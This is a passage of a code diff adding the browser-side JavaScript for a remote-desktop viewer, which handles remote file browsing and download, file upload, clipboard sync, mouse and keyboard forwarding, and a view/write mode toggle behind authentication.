+ const rid = "pull_" + (++reqSeq);
2734
+ let off = 0;
2735
+ let eof = false;
2736
+ const chunks = [];
2737
+ let fileName = "remote-file.bin";
2738
+ const MAX_CHUNKS = 2048; // 2048 × 8MB = 16 GB cap — safety valve against infinite loop
2739
+ const DEADLINE = Date.now() + 5 * 60 * 1000; // 5-minute wall-clock timeout
2740
+ let chunkCount = 0;
2741
+ while (!eof) {
2742
+ if (chunkCount++ >= MAX_CHUNKS) return { ok: false, error: "download aborted: too many chunks (file too large)" };
2743
+ if (Date.now() > DEADLINE) return { ok: false, error: "download aborted: timeout exceeded (5 min)" };
2744
+ const r = await wsRequest("fs_read", {
2745
+ path: p,
2746
+ chunk: true,
2747
+ offset: off,
2748
+ request_id: rid,
2749
+ max_bytes: 8 * 1024 * 1024,
2750
+ });
2751
+ if (!r || !r.ok) return { ok: false, error: String((r && r.error) || "read failed") };
2752
+ const rp = String(r.path || p);
2753
+ const seg = rp.split(/[\\/]/).pop();
2754
+ if (seg) fileName = seg;
2755
+ const b64 = String(r.b64 || "");
2756
+ if (b64) chunks.push(b64);
2757
+ const nextOff = Number.isFinite(Number(r.next_offset)) ? Number(r.next_offset) : off;
2758
+ // Guard against stuck offset — if agent doesn't advance, treat as eof to avoid infinite loop
2759
+ if (!r.eof && nextOff <= off && b64.length === 0) return { ok: false, error: "download aborted: agent offset did not advance" };
2760
+ off = Math.max(off, nextOff);
2761
+ eof = Boolean(r.eof);
2762
+ }
2763
+ if (chunks.length === 0) return { ok: false, error: "empty file or no read access" };
2764
+ let totalLen = 0;
2765
+ const bytes = [];
2766
+ for (const b64 of chunks) {
2767
+ const bin = atob(b64);
2768
+ totalLen += bin.length;
2769
+ const arr = new Uint8Array(bin.length);
2770
+ for (let i = 0; i < bin.length; i++) arr[i] = bin.charCodeAt(i);
2771
+ bytes.push(arr);
2772
+ }
2773
+ const out = new Uint8Array(totalLen);
2774
+ let pos = 0;
2775
+ for (const arr of bytes) {
2776
+ out.set(arr, pos);
2777
+ pos += arr.length;
2778
+ }
2779
+ const blob = new Blob([out], { type: "application/octet-stream" });
2780
+ const url = URL.createObjectURL(blob);
2781
+ const a = document.createElement("a");
2782
+ a.href = url;
2783
+ a.download = fileName;
2784
+ document.body.appendChild(a);
2785
+ a.click();
2786
+ a.remove();
2787
+ setTimeout(() => URL.revokeObjectURL(url), 1500);
2788
+ return { ok: true, fileName, size: totalLen };
2789
+ }
2790
+ function setPathLabel(p) {
2791
+ pathLabel.textContent = "Path: " + (String(p || "").trim() || "(none)");
2792
+ }
2793
+ function clearFileList(msg) {
2794
+ fileList.innerHTML = "";
2795
+ const d = document.createElement("div");
2796
+ d.className = "path-label";
2797
+ d.textContent = msg;
2798
+ fileList.appendChild(d);
2799
+ }
2800
+ function joinPath(base, name) {
2801
+ const b = String(base || "");
2802
+ const n = String(name || "");
2803
+ if (!b) return n;
2804
+ if (/[\\/]$/.test(b)) return b + n;
2805
+ // Use the separator that already appears in the base path to handle Unix/macOS correctly
2806
+ return b + (b.indexOf("/") >= 0 ? "/" : "\\") + n;
2807
+ }
2808
+ async function loadRootsIntoPanel() {
2809
+ if (!writeEnabled) return;
2810
+ clearFileList("Loading roots...");
2811
+ const r = await wsRequest("fs_roots");
2812
+ if (!r || !r.ok) { clearFileList("Failed to load roots"); return; }
2813
+ const roots = Array.isArray(r.roots) ? r.roots : [];
2814
+ currentBrowsePath = "";
2815
+ setPathLabel("");
2816
+ fileList.innerHTML = "";
2817
+ for (const root of roots) {
2818
+ const p = String(root.path || "");
2819
+ if (!p) continue;
2820
+ const btn = document.createElement("button");
2821
+ btn.className = "file-item dir";
2822
+ btn.textContent = "[ROOT] " + p;
2823
+ btn.addEventListener("click", () => loadPathIntoPanel(p));
2824
+ fileList.appendChild(btn);
2825
+ }
2826
+ if (!roots.length) clearFileList("No roots available");
2827
+ }
2828
+ async function loadPathIntoPanel(p) {
2829
+ const pathToLoad = String(p || "").trim();
2830
+ if (!pathToLoad) return;
2831
+ clearFileList("Loading...");
2832
+ const r = await wsRequest("fs_list", { path: pathToLoad });
2833
+ if (!r || !r.ok) { clearFileList("Failed to open folder"); return; }
2834
+ currentBrowsePath = pathToLoad;
2835
+ setPathLabel(currentBrowsePath);
2836
+ fileList.innerHTML = "";
2837
+ const entries = Array.isArray(r.entries) ? r.entries : [];
2838
+ for (const it of entries) {
2839
+ const name = String(it.name || "");
2840
+ const kind = String(it.kind || "");
2841
+ if (!name) continue;
2842
+ const full = joinPath(pathToLoad, name);
2843
+ const btn = document.createElement("button");
2844
+ btn.className = "file-item" + (kind === "dir" ? " dir" : "");
2845
+ btn.textContent = (kind === "dir" ? "[DIR] " : "[FILE] ") + name;
2846
+ if (kind === "dir") {
2847
+ btn.addEventListener("click", () => loadPathIntoPanel(full));
2848
+ } else {
2849
+ btn.addEventListener("click", async () => {
2850
+ filePullPath.value = full;
2851
+ setState("Fetching remote file...");
2852
+ const rr = await pullRemoteFileToLocal(full);
2853
+ if (!rr || !rr.ok) { setState("File fetch failed"); return; }
2854
+ setState("Fetched file from PC: " + String(rr.fileName || "download"));
2855
+ });
2856
+ }
2857
+ fileList.appendChild(btn);
2858
+ }
2859
+ if (!entries.length) clearFileList("Folder is empty");
2860
+ }
2861
+ function sendRemoteInput(payload) {
2862
+ if (!viewerAgentTransportReady() || !authed || !writeEnabled) return;
2863
+ const action = String(payload && payload.action || "").trim();
2864
+ if (action && rcActionCaps && Object.prototype.hasOwnProperty.call(rcActionCaps, action) && !rcActionCaps[action]) {
2865
+ const now = Date.now();
2866
+ const prev = Number(unsupportedActionNoticeAt.get(action) || 0);
2867
+ if (now - prev > 1500) {
2868
+ unsupportedActionNoticeAt.set(action, now);
2869
+ setState("This remote action is unavailable on the current OS/tooling: " + action);
2870
+ }
2871
+ return;
2872
+ }
2873
+ const envelope = Object.assign(
2874
+ {
2875
+ type: "rc_input",
2876
+ request_id: "rc_" + (++reqSeq),
2877
+ },
2878
+ payload || {}
2879
+ );
2880
+ const discreteKick = action !== "mouse_move" && action !== "mouse_wheel";
2881
+ function afterRemoteInputSent() {
2882
+ if (discreteKick) kickScreenshotAfterDiscreteInput();
2883
+ }
2884
+ if (
2885
+ (action === "mouse_move" || action === "mouse_wheel") &&
2886
+ forgeRtcDcInput &&
2887
+ forgeRtcDcInput.readyState === "open"
2888
+ ) {
2889
+ try {
2890
+ forgeRtcDcInput.send(JSON.stringify(envelope));
2891
+ afterRemoteInputSent();
2892
+ return;
2893
+ } catch (e) {}
2894
+ }
2895
+ sendAgentPayload(envelope);
2896
+ afterRemoteInputSent();
2897
+ }
2898
+ async function refreshRemoteControlCapabilities() {
2899
+ try {
2900
+ const r = await wsRequest("rc_input", { action: "capabilities" });
2901
+ const caps = r && r.action_capabilities && typeof r.action_capabilities === "object"
2902
+ ? r.action_capabilities
2903
+ : null;
2904
+ if (caps) {
2905
+ rcActionCaps = caps;
2906
+ const notes = Array.isArray(r.notes) ? r.notes.filter(Boolean).map((x) => String(x)) : [];
2907
+ if (notes.length) setState(notes[0]);
2908
+ }
2909
+ } catch {
2910
+ /* old agents may not support capability probing; keep permissive compatibility mode */
2911
+ }
2912
+ }
2913
+ function queueMouseMove(point) {
2914
+ if (!point) return;
2915
+ pendingMovePoint = point;
2916
+ if (moveRaf) return;
2917
+ moveRaf = requestAnimationFrame(() => {
2918
+ moveRaf = 0;
2919
+ const p = pendingMovePoint;
2920
+ pendingMovePoint = null;
2921
+ if (!p) return;
2922
+ const now = Date.now();
2923
+ var p2pMove =
2924
+ forgeRtcDcInput && forgeRtcDcInput.readyState === "open";
2925
+ var moveThrottleMs = p2pMove
2926
+ ? isInteractionActive()
2927
+ ? 8
2928
+ : 14
2929
+ : isInteractionActive()
2930
+ ? 10
2931
+ : 18;
2932
+ if (now - lastMoveSentAt < moveThrottleMs) return;
2933
+ lastMoveSentAt = now;
2934
+ sendRemoteInput({ action: "mouse_move", x: p.x, y: p.y });
2935
+ });
2936
+ }
2937
+ function isBrowserZoomHotkey(ev) {
2938
+ if (!(ev.ctrlKey || ev.metaKey) || ev.altKey) return false;
2939
+ const key = String(ev.key || "").toLowerCase();
2940
+ const code = String(ev.code || "").toLowerCase();
2941
+ return (
2942
+ key === "+" ||
2943
+ key === "-" ||
2944
+ key === "=" ||
2945
+ key === "_" ||
2946
+ key === "0" ||
2947
+ key === "add" ||
2948
+ key === "subtract" ||
2949
+ code === "numpadadd" ||
2950
+ code === "numpadsubtract" ||
2951
+ code === "digit0" ||
2952
+ code === "numpad0"
2953
+ );
2954
+ }
2955
+ const CLIPBOARD_EVENT_HANDLED_KEY = "__forgeClipboardHandled";
2956
+ function markClipboardEventHandled(ev) {
2957
+ try {
2958
+ if (ev && ev[CLIPBOARD_EVENT_HANDLED_KEY]) return true;
2959
+ if (ev) ev[CLIPBOARD_EVENT_HANDLED_KEY] = 1;
2960
+ } catch {
2961
+ /* ignore */
2962
+ }
2963
+ return false;
2964
+ }
2965
+ function onClipboardCopyOrCut(ev) {
2966
+ if (!writeEnabled) return;
2967
+ if (markClipboardEventHandled(ev)) return;
2968
+ const hasFreshCache = Boolean(remoteClipboardCache) && (Date.now() - remoteClipboardCacheAt) < 15_000;
2969
+ if (hasFreshCache && ev.clipboardData && typeof ev.clipboardData.setData === "function") {
2970
+ try {
2971
+ ev.clipboardData.setData("text/plain", String(remoteClipboardCache || ""));
2972
+ ev.preventDefault();
2973
+ setState("Clipboard copied from PC to local");
2974
+ } catch {
2975
+ /* ignore; fallback below */
2976
+ }
2977
+ } else {
2978
+ ev.preventDefault();
2979
+ }
2980
+ // Always trigger remote copy + refresh in background so cache stays current.
2981
+ void triggerRemoteCopyToLocal();
2982
+ }
2983
+ function onClipboardPaste(ev) {
2984
+ if (!writeEnabled) return;
2985
+ if (markClipboardEventHandled(ev)) return;
2986
+ const txt = String((ev.clipboardData && ev.clipboardData.getData && ev.clipboardData.getData("text/plain")) || "");
2987
+ if (!txt) return;
2988
+ if (shouldSkipDuplicateBrowserPasteEvent(txt)) {
2989
+ ev.preventDefault();
2990
+ return;
2991
+ }
2992
+ lastPasteEventAt = Date.now();
2993
+ pendingPasteShortcutAt = -1;
2994
+ ev.preventDefault();
2995
+ try {
2996
+ pasteCaptureEl.value = "";
2997
+ pasteCaptureEl.blur();
2998
+ } catch {}
2999
+ const intentId = activePasteIntentId || beginPasteIntent();
3000
+ void pushClipboardTextToRemote(txt, true, intentId);
3001
+ }
3002
+ function imgPoint(ev) {
3003
+ const r = rcDispEl.getBoundingClientRect();
3004
+ const naturalW = Number(rcDispEl.width) || Number(rcDispEl.naturalWidth) || 0;
3005
+ const naturalH = Number(rcDispEl.height) || Number(rcDispEl.naturalHeight) || 0;
3006
+ if (!r.width || !r.height || !naturalW || !naturalH) return null;
3007
+ // For canvas or <img>, getBoundingClientRect() is the rendered pixel box.
3008
+ // Using rect coordinates directly keeps mapping stable across browser zoom in/out.
3009
+ const relX = (ev.clientX - r.left) / Math.max(1, r.width);
3010
+ const relY = (ev.clientY - r.top) / Math.max(1, r.height);
3011
+ // Ignore black bars / outside-image pointer positions instead of clamping
3012
+ // to edges (clamping causes perceived "wrong click" on letterboxed layouts).
3013
+ if (relX < 0 || relX > 1 || relY < 0 || relY > 1) return null;
3014
+ const nx = relX;
3015
+ const ny = relY;
3016
+ const iw = Number(lastFrameMeta && lastFrameMeta.imageWidth) || naturalW;
3017
+ const ih = Number(lastFrameMeta && lastFrameMeta.imageHeight) || naturalH;
3018
+ const vw = Number(lastFrameMeta && lastFrameMeta.virtualWidth) || iw;
3019
+ const vh = Number(lastFrameMeta && lastFrameMeta.virtualHeight) || ih;
3020
+ let vx = Number(lastFrameMeta && lastFrameMeta.virtualX) || 0;
3021
+ let vy = Number(lastFrameMeta && lastFrameMeta.virtualY) || 0;
3022
+ let vwAdj = vw;
3023
+ let vhAdj = vh;
3024
+ // Defensive client-side guard: if metadata geometry drifts from real frame
3025
+ // (rare with fast capture + mixed-DPI hosts), trust the visible frame box.
3026
+ if (iw > 0 && ih > 0 && vwAdj > 0 && vhAdj > 0) {
3027
+ const sx = iw / vwAdj;
3028
+ const sy = ih / vhAdj;
3029
+ const inconsistentScale =
3030
+ sx <= 0 ||
3031
+ sy <= 0 ||
3032
+ sx > 1.5 ||
3033
+ sy > 1.5 ||
3034
+ Math.abs(sx - sy) > 0.12;
3035
+ if (inconsistentScale) {
3036
+ vx = 0;
3037
+ vy = 0;
3038
+ vwAdj = iw;
3039
+ vhAdj = ih;
3040
+ }
3041
+ }
3042
+ const iwp = Math.max(1, iw);
3043
+ const ihp = Math.max(1, ih);
3044
+ const vwp = Math.max(1, vwAdj);
3045
+ const vhp = Math.max(1, vhAdj);
3046
+ const ix = Math.max(0, Math.min(iwp - 1, Math.round(nx * (iwp - 1))));
3047
+ const iy = Math.max(0, Math.min(ihp - 1, Math.round(ny * (ihp - 1))));
3048
+ const x = vx + Math.round((ix * (vwp - 1)) / Math.max(1, iwp - 1));
3049
+ const y = vy + Math.round((iy * (vhp - 1)) / Math.max(1, ihp - 1));
3050
+ return { x, y };
3051
+ }
3052
+
3053
+ document.addEventListener(
3054
+ "contextmenu",
3055
+ (ev) => {
3056
+ if (rcPreferNativeContextMenu(ev)) return;
3057
+ ev.preventDefault();
3058
+ if (ev.shiftKey) {
3059
+ rcHideContextMenu();
3060
+ return;
3061
+ }
3062
+ rcShowContextMenu(ev.clientX, ev.clientY, ev);
3063
+ },
3064
+ true
3065
+ );
3066
+ document.addEventListener(
3067
+ "mousedown",
3068
+ (ev) => {
3069
+ if (!rcCtxMenu || rcCtxMenu.classList.contains("hidden")) return;
3070
+ if (ev.button !== 0 && ev.button !== 1) return;
3071
+ if (rcCtxMenu.contains(ev.target)) return;
3072
+ rcHideContextMenu();
3073
+ },
3074
+ true
3075
+ );
3076
+ window.addEventListener(
3077
+ "scroll",
3078
+ () => {
3079
+ if (!rcCtxMenu || rcCtxMenu.classList.contains("hidden")) return;
3080
+ rcHideContextMenu();
3081
+ },
3082
+ true
3083
+ );
3084
+
3085
+ if (rcCtxMenu) {
3086
+ rcCtxMenu.addEventListener("click", async (ev) => {
3087
+ const btn = ev.target && ev.target.closest && ev.target.closest("[data-rc-act]");
3088
+ if (!btn || btn.disabled) return;
3089
+ const act = btn.getAttribute("data-rc-act") || "";
3090
+ ev.preventDefault();
3091
+ let anchorForRight = null;
3092
+ if (act === "right-click-here") anchorForRight = rcMenuAnchorPx ? { ...rcMenuAnchorPx } : null;
3093
+ rcHideContextMenu();
3094
+ if (act === "toggle-write") {
3095
+ if (!writeEnabled) {
3096
+ if (!sessionAgentVersion) {
3097
+ const sid = currentSessionId();
3098
+ if (sid) await refreshSessionAgentMeta(sid);
3099
+ }
3100
+ if (!canEnableWriteMode()) return;
3101
+ }
3102
+ writeEnabled = !writeEnabled;
3103
+ if (rcCtxMode) {
3104
+ rcCtxMode.textContent = writeEnabled ? "Write Only" : "View Only";
3105
+ rcCtxMode.className = writeEnabled ? "rc-ctx-item warn" : "rc-ctx-item";
3106
+ }
3107
+ modeStateEl.textContent = writeEnabled ? "Mode: Write Only" : "Mode: View Only";
3108
+ rcSetWriteEnabledClass(writeEnabled);
3109
+ if (writeEnabled && hasFrame) hideEmptyState();
3110
+ updateWriteControls();
3111
+ return;
3112
+ }
3113
+ if (act === "toggle-camera") {
3114
+ if (cameraAvailable === false) {
3115
+ requestScreenshot();
3116
+ return;
3117
+ }
3118
+ cameraOverlayEnabled = !cameraOverlayEnabled;
3119
+ refreshCameraBtnUi();
3120
+ requestScreenshot();
3121
+ return;
3122
+ }
3123
+ if (act === "rotate-quality") {
3124
+ rotateQualityMode();
3125
+ return;
3126
+ }
3127
+ if (act === "copy-pc") {
3128
+ if (!writeEnabled) {
3129
+ setState("Enable Write Only mode for clipboard");
3130
+ return;
3131
+ }
3132
+ markInteractionActive();
3133
+ void triggerRemoteCopyToLocal();
3134
+ return;
3135
+ }
3136
+ if (act === "paste-pc") {
3137
+ if (!writeEnabled) {
3138
+ setState("Enable Write Only mode for clipboard");
3139
+ return;
3140
+ }
3141
+ markInteractionActive();
3142
+ if (localClipboardBusy && Date.now() - localClipboardBusyAt < 1600) return;
3143
+ localClipboardBusy = true;
3144
+ localClipboardBusyAt = Date.now();
3145
+ const intentId = beginPasteIntent();
3146
+ const r = await pushLocalClipboardToRemote({ silentReadFailure: true, intentId }).finally(() => {
3147
+ localClipboardBusy = false;
3148
+ localClipboardBusyAt = 0;
3149
+ });
3150
+ if (!r || !r.ok) {
3151
+ armPasteCaptureMode("Press Ctrl/Cmd+V once to send local clipboard to PC");
3152
+ }
3153
+ return;
3154
+ }
3155
+ if (act === "refresh") {
3156
+ if (!ws || ws.readyState !== 1) {
3157
+ connect();
3158
+ return;
3159
+ }
3160
+ requestScreenshot();
3161
+ return;
3162
+ }
3163
+ if (act === "files-panel") {
3164
+ if (!writeEnabled) {
3165
+ setState("Enable Write Only mode for file browse");
3166
+ return;
3167
+ }
3168
+ filePanel.classList.toggle("open");
3169
+ if (!filePanel.classList.contains("open")) return;
3170
+ await loadRootsIntoPanel();
3171
+ return;
3172
+ }
3173
+ if (act === "fetch-focus") {
3174
+ if (!writeEnabled) {
3175
+ setState("Enable Write Only mode for file fetch");
3176
+ return;
3177
+ }
3178
+ const p = String(filePullPath.value || "").trim();
3179
+ if (!p) {
3180
+ setState("Enter remote file path first");
3181
+ return;
3182
+ }
3183
+ setState("Fetching remote file…");
3184
+ const r = await pullRemoteFileToLocal(p);
3185
+ if (!r || !r.ok) {
3186
+ setState("File fetch failed");
3187
+ return;
3188
+ }
3189
+ setState("Fetched file from PC: " + String(r.fileName || "download"));
3190
+ return;
3191
+ }
3192
+ if (act === "right-click-here") {
3193
+ if (!writeEnabled || !anchorForRight) return;
3194
+ markInteractionActive();
3195
+ const pt = anchorForRight;
3196
+ sendRemoteInput({ action: "mouse_move", x: pt.x, y: pt.y });
3197
+ sendRemoteInput({ action: "mouse_click", button: "right", x: pt.x, y: pt.y, click_count: 1 });
3198
+ kickScreenshotAfterDiscreteInput();
3199
+ return;
3200
+ }
3201
+ if (act === "disconnect") {
3202
+ disconnect();
3203
+ }
3204
+ });
3205
+ }
3206
+
3207
+ rootsBtn.addEventListener("click", async () => {
3208
+ if (!writeEnabled) return;
3209
+ await loadRootsIntoPanel();
3210
+ });
3211
+ filePullBtn.addEventListener("click", async () => {
3212
+ if (!writeEnabled) {
3213
+ setState("Enable Write Only mode for file fetch");
3214
+ return;
3215
+ }
3216
+ const p = String(filePullPath.value || "").trim();
3217
+ if (!p) {
3218
+ setState("Enter remote file path first");
3219
+ return;
3220
+ }
3221
+ setState("Fetching remote file…");
3222
+ const r = await pullRemoteFileToLocal(p);
3223
+ if (!r || !r.ok) {
3224
+ setState("File fetch failed");
3225
+ return;
3226
+ }
3227
+ setState("Fetched file from PC: " + String(r.fileName || "download"));
3228
+ });
3229
+ upBtn.addEventListener("click", async () => {
3230
+ if (!writeEnabled) return;
3231
+ if (!currentBrowsePath) { await loadRootsIntoPanel(); return; }
3232
+ const r = await wsRequest("fs_parent", { path: currentBrowsePath });
3233
+ const p = r && r.ok ? String(r.path || "") : "";
3234
+ if (!p) { await loadRootsIntoPanel(); return; }
3235
+ await loadPathIntoPanel(p);
3236
+ });
3237
+ closePanelBtn.addEventListener("click", () => {
3238
+ filePanel.classList.remove("open");
3239
+ });
3240
+ filePushBtn.addEventListener("click", async () => {
3241
+ if (!writeEnabled) { setState("Enable Write Only mode for file send"); return; }
3242
+ const f = filePushInput.files && filePushInput.files[0];
3243
+ if (!f) { setState("Choose a file first"); return; }
3244
+ const maxBytes = 20 * 1024 * 1024;
3245
+ if (f.size > maxBytes) { setState("File too large (max 20MB)"); return; }
3246
+ let b64 = "";
3247
+ try {
3248
+ const buf = await f.arrayBuffer();
3249
+ const bytes = new Uint8Array(buf);
3250
+ let bin = "";
3251
+ const chunk = 0x8000;
3252
+ for (let i = 0; i < bytes.length; i += chunk) {
3253
+ bin += String.fromCharCode.apply(null, bytes.subarray(i, i + chunk));
3254
+ }
3255
+ b64 = btoa(bin);
3256
+ } catch {
3257
+ setState("Failed to read local file");
3258
+ return;
3259
+ }
3260
+ setState("Sending file…");
3261
+ const r = await wsRequest("rc_file_push", { name: String(f.name || "upload.bin"), b64 });
3262
+ if (!r || !r.ok) { setState("File send failed"); return; }
3263
+ const saved = String(r.saved_path || "");
3264
+ setState(saved ? ("File sent to PC: " + saved) : "File sent to PC");
3265
+ filePushInput.value = "";
3266
+ });
3267
+
3268
+ function bindRcScreenPointerHandlers(el) {
3269
+ el.addEventListener("mousedown", (ev) => {
3270
+ if (ev.button === 2 && !ev.shiftKey) return;
3271
+ if (!writeEnabled) return;
3272
+ if (ev.button !== 0 && ev.button !== 1 && ev.button !== 2) return;
3273
+ const p = imgPoint(ev); if (!p) return;
3274
+ ev.preventDefault();
3275
+ markInteractionActive();
3276
+ pointerDown = true;
3277
+ pointerButton = ev.button === 2 ? "right" : (ev.button === 1 ? "middle" : "left");
3278
+ pointerDownPoint = p;
3279
+ lastPointerPoint = p;
3280
+ dragActive = false;
3281
+ queueMouseMove(p);
3282
+ });
3283
+ el.addEventListener("mousemove", (ev) => {
3284
+ if (!writeEnabled) return;
3285
+ const p = imgPoint(ev); if (!p) return;
3286
+ lastPointerPoint = p;
3287
+ if (pointerDown && !disablePressLifecycle) {
3288
+ if (!dragActive && pointerDownPoint) {
3289
+ const dx = Math.abs(p.x - pointerDownPoint.x);
3290
+ const dy = Math.abs(p.y - pointerDownPoint.y);
3291
+ if (dx + dy >= 8) {
3292
+ dragActive = true;
3293
+ sendRemoteInput({ action: "mouse_down", button: pointerButton, x: pointerDownPoint.x, y: pointerDownPoint.y });
3294
+ }
3295
+ }
3296
+ if (dragActive) {
3297
+ markInteractionActive();
3298
+ ev.preventDefault();
3299
+ queueMouseMove(p);
3300
+ return;
3301
+ }
3302
+ }
3303
+ });
3304
+ el.addEventListener("dragstart", (ev) => {
3305
+ if (!writeEnabled) return;
3306
+ ev.preventDefault();
3307
+ });
3308
+ el.addEventListener("click", (ev) => {
3309
+ if (!writeEnabled) return;
3310
+ ev.preventDefault();
3311
+ });
3312
+ el.addEventListener("dblclick", (ev) => {
3313
+ if (!writeEnabled) return;
3314
+ ev.preventDefault();
3315
+ });
3316
+ }
3317
+ bindRcScreenPointerHandlers(rcCanvasA);
3318
+ bindRcScreenPointerHandlers(rcCanvasB);
3319
+ window.addEventListener("mouseup", (ev) => {
3320
+ if (!writeEnabled || !pointerDown) return;
3321
+ if (ev.button !== 0 && ev.button !== 1 && ev.button !== 2) return;
3322
+ const p = imgPoint(ev) || lastPointerPoint || pointerDownPoint;
3323
+ ev.preventDefault();
3324
+ if (dragActive && p && !disablePressLifecycle) {
3325
+ markInteractionActive();
3326
+ sendRemoteInput({ action: "mouse_up", button: pointerButton, x: p.x, y: p.y });
3327
+ suppressClickUntil = Date.now() + 220;
3328
+ requestScreenshot();
3329
+ } else if (p && Date.now() >= suppressClickUntil) {
3330
+ markInteractionActive();
3331
+ const now = Date.now();
3332
+ let clickCount = 1;
3333
+ if (
3334
+ lastClickPoint &&
3335
+ pointerButton === lastClickButton &&
3336
+ now - lastClickAt <= 320 &&
3337
+ Math.abs(p.x - lastClickPoint.x) <= 8 &&
3338
+ Math.abs(p.y - lastClickPoint.y) <= 8
3339
+ ) {
3340
+ clickCount = 2;
3341
+ lastClickAt = 0;
3342
+ lastClickPoint = null;
3343
+ } else {
3344
+ lastClickAt = now;
3345
+ lastClickPoint = { x: p.x, y: p.y };
3346
+ lastClickButton = pointerButton;
3347
+ }
3348
+ sendRemoteInput({ action: "mouse_click", button: pointerButton, x: p.x, y: p.y, click_count: clickCount });
3349
+ requestScreenshot();
3350
+ }
3351
+ pointerDown = false;
3352
+ pointerDownPoint = null;
3353
+ lastPointerPoint = null;
3354
+ dragActive = false;
3355
+ pendingMovePoint = null;
3356
+ });
3357
+ wrapEl.addEventListener("wheel", (ev) => {
3358
+ if (ev.ctrlKey || ev.metaKey) return; // Keep browser zoom (ctrl/cmd + wheel) working.
3359
+ if (!writeEnabled) return;
3360
+ markInteractionActive();
3361
+ ev.preventDefault();
3362
+ const p = imgPoint(ev);
3363
+ let dy = Number(ev.deltaY || 0);
3364
+ if (ev.deltaMode === 1) dy *= 40;
3365
+ else if (ev.deltaMode === 2) dy *= 120;
3366
+ if (!Number.isFinite(dy) || dy === 0) return;
3367
+ let step = Math.round(dy / 120) * 120;
3368
+ if (step === 0) step = dy < 0 ? -120 : 120;
3369
+ step = Math.max(-2400, Math.min(2400, step));
3370
+ sendRemoteInput({
3371
+ action: "mouse_wheel",
3372
+ delta_y: step,
3373
+ x: p ? p.x : undefined,
3374
+ y: p ? p.y : undefined,
3375
+ });
3376
+ }, { passive: false });
3377
+ window.addEventListener("keydown", (ev) => {
3378
+ if (ev.key === "Escape") {
3379
+ if (rcCtxMenu && !rcCtxMenu.classList.contains("hidden")) {
3380
+ rcHideContextMenu();
3381
+ ev.preventDefault();
3382
+ return;
3383
+ }
3384
+ }
3385
+ if (!writeEnabled) return;
3386
+ if (isBrowserZoomHotkey(ev)) return; // Let browser handle Ctrl/Cmd +/-/0 zoom.
3387
+ if (isModifierOnlyKey(ev.key)) return;
3388
+ const ctrlOrMeta = ev.ctrlKey || ev.metaKey;
3389
+ if (ctrlOrMeta && !ev.shiftKey && !ev.altKey && String(ev.key || "").toLowerCase() === "c") {
3390
+ if (ev.repeat) {
3391
+ ev.preventDefault();
3392
+ return;
3393
+ }
3394
+ ev.preventDefault();
3395
+ markInteractionActive();
3396
+ void triggerRemoteCopyToLocal();
3397
+ return;
3398
+ }
3399
+ if (ctrlOrMeta && !ev.shiftKey && !ev.altKey && String(ev.key || "").toLowerCase() === "v") {
3400
+ if (ev.repeat) {
3401
+ ev.preventDefault();
3402
+ return;
3403
+ }
3404
+ const intentId = beginPasteIntent();
3405
+ markInteractionActive();
3406
+ if (!immediatePasteReadInFlight && navigator.clipboard && typeof navigator.clipboard.readText === "function") {
3407
+ immediatePasteReadInFlight = true;
3408
+ void navigator.clipboard.readText().then((txt) => {
3409
+ const t = String(txt || "");
3410
+ if (!t) return;
3411
+ pendingPasteShortcutAt = -1;
3412
+ return pushClipboardTextToRemote(t, true, intentId);
3413
+ }).catch(() => {
3414
+ // Fall through to paste-event / delayed fallback path below.
3415
+ }).finally(() => {
3416
+ immediatePasteReadInFlight = false;
3417
+ });
3418
+ }
3419
+ // Prefer real paste-event payload (works better on HTTP / strict clipboard-permission browsers).
3420
+ pendingPasteShortcutAt = Date.now();
3421
+ try {
3422
+ pasteCaptureEl.value = "";
3423
+ pasteCaptureEl.focus();
3424
+ pasteCaptureEl.select();
3425
+ } catch {
3426
+ /* ignore */
3427
+ }
3428
+ setTimeout(() => {
3429
+ if ((Date.now() - lastPasteEventAt) < 500) return;
3430
+ if (pendingPasteShortcutAt <= 0) return;
3431
+ if ((Date.now() - pendingPasteShortcutAt) > 1300) return;
3432
+ try { pasteCaptureEl.blur(); } catch {}
3433
+ if (localClipboardBusy && (Date.now() - localClipboardBusyAt) < 1600) return;
3434
+ localClipboardBusy = true;
3435
+ localClipboardBusyAt = Date.now();
3436
+ void pushLocalClipboardToRemote({ intentId }).finally(() => {
3437
+ localClipboardBusy = false;
3438
+ localClipboardBusyAt = 0;
3439
+ });
3440
+ }, 280);
3441
+ return;
3442
+ }
3443
+ if (isTypingTarget(document.activeElement)) return;
3444
+ ev.preventDefault();
3445
+ markInteractionActive();
3446
+ sendRemoteInput({ action: "key", key: ev.key, ctrl: ev.ctrlKey, alt: ev.altKey, shift: ev.shiftKey, meta: ev.metaKey });
3447
+ });
3448
+ window.addEventListener("copy", onClipboardCopyOrCut);
3449
+ window.addEventListener("cut", onClipboardCopyOrCut);
3450
+ window.addEventListener("paste", onClipboardPaste);
3451
+ document.addEventListener("copy", onClipboardCopyOrCut, true);
3452
+ document.addEventListener("cut", onClipboardCopyOrCut, true);
3453
+ document.addEventListener("paste", onClipboardPaste, true);
3454
+ window.addEventListener("resize", () => {
3455
+ rcHideContextMenu();
3456
+ if (!ws || ws.readyState !== 1 || !authed) return;
3457
+ if (resizeShotTimer) clearTimeout(resizeShotTimer);
3458
+ resizeShotTimer = setTimeout(() => {
3459
+ resizeShotTimer = null;
3460
+ requestScreenshot();
3461
+ }, 120);
3462
+ });
3463
+
3464
+ refreshWriteModeEligibilityUi();
3465
+ refreshCameraBtnUi();
3466
+ refreshQualityBtnUi();
3467
+ refreshStreamStats();
3468
+ updateWriteControls();
3469
+ connect();
3470
+ </script>
3471
+ </body>
3472
+ </html>